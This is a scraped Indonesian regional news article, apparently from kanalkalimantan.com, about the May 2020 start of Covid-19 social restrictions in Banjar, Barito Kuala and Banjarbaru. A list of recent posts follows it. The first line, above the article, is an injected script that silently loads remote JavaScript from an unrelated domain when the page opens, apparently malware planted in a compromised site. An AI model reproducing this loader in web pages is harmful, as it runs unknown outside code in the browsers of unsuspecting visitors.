(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

PSBB di Banjarbaru-Banjar-Batola Serentak Dimulai Sabtu 16 Mei


KANALKALIMATAN.COM, BANJARBARU – Setelah pengajuan Pembatasan Sosial Berskala Besar (PSBB) untuk Kabupaten Banjar, Kabupaten Barito Kuala dan Kota Banjarbaru disetujui oleh Kementerian Kesehatan RI, ketiga wilayah secara serentak melaksanakan PSBB.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kalimantan Selatan Abdul Haris Makkie di Gedung Idham Chalid Banjarbaru, Rabu (13/5/2020) sore, mengatakan, dari hal-hal yang bersifat teknis hingga hal-hal yang sifatnya non teknis seperti pelaksanaan pengamanan-pengamanan terkait dengan PSBB tersebut, kesehatan sampai dengan jaring pengaman sosial, rata-rata sudah dipersiapkan sampai ke lembaga atau unsur pelaksanaan PSBB tersebut.

Sehingga, dengan melihat kesiapan tiga daerah penyangga Kota Banjarmasin yang terlebih dahulu menerapkan PSBB, Sekda Provinsi Kalsel ini memastikan, pelaksanaan PSBB untuk Kabupaten Banjar, Kabupaten Barito Kuala dan Kota Banjarbaru akan dimulai serentak pada Sabtu (16/5/2020) dinihari.

“Kita sudah sepakat bahwa PSBB di tiga daerah itu dimulai pada 16 Mei 2020 jam 00:01 Wita, sesuai dengan protokol,” tegas Haris Makkie.

Sebelum penerapan PSBB pada Sabtu (16/5/2020) mendatang, ketiga daerah ini akan melakukan sosialisasi terlebih dahulu kepada masyarakat. Di samping sosialisasi, ketiga daerah ini juga akan mendirikan posko-posko di beberapa titik yang telah ditetapkan.

Sebagai acuan pelaksanaan PSBB di tiga kabupaten dan kota ini, Pemprov Kalsel tengah menyiapkan Pergub Kalsel. Menurut Haris Makkie, dalam Pergub terdapat pedoman dalam pelaksanaan PSBB, termasuk untuk kabupaten yang menerapkan PSBB, dan bertetangga langsung dengan provinsi tetangga. Seperti Kabupaten Barito Kuala yang berbatasan dengan wilayah Provinsi Kalimantan Tengah.

“Persoalan nanti ada jam malam, daerah masing-masing yang merasa perlu untuk diperlukannya jam malam atau tidak. Jangan sampai keluar dari acuan yang menjadi panduan bagi kabupaten dan kota,” pungkas Haris. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.